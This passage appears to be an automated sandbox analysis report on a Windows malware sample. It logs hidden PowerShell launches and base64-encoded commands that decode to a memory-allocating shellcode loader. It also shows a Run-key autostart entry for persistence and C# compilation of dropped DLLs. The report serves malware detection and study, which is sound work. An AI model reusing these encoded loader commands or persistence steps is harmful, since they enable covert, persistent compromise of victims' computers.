MAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_012540C9 push esp; ret 12_2_012540DD
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077CDE82 push 8B05985Ah; iretd 12_2_077CDE87
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077CDDC9 push 8B05985Ah; iretd 12_2_077CDDCE
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077CDBD4 push 8B05985Ah; iretd 12_2_077CDBD9
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07491420 pushad ; retf 0069h28_2_07491425
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0795B6D0 push eax; mov dword ptr [esp], edx29_2_0795B6E4
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_079559C8 push eax; mov dword ptr [esp], edx29_2_079559DC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_079673B0 pushfd ; retf 29_2_07967439
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07961290 push eax; mov dword ptr [esp], edx29_2_07961434
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5ED27 push ss; iretd 29_2_07A5ED2A
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5CC88 push es; iretd 29_2_07A5CC8A
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5CC8B push es; iretd 29_2_07A5CC92
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5ECE9 push ss; iretd 29_2_07A5ECEA
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5EC28 push ss; iretd 29_2_07A5EC2A
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5CC11 push es; iretd 29_2_07A5CC12
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5EB78 push ss; iretd 29_2_07A5EB7A
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5EB7B push ss; iretd 29_2_07A5EB82
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5FE4B push es; ret 29_2_07A5FE50
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdlineJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\yy0zjl34.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\tm43worv.dllJump to dropped file

            Boot Survival

            barindex
            Creates an autostart registry key pointing to binary in C:\Windows
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run opklbedebiJump to behavior
            Creates autostart registry keys with suspicious values (likely registry only malware)
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run opklbedebi cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run opklbedebiJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run opklbedebiJump to behavior
            Source: C:\Windows\System32\wscript.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
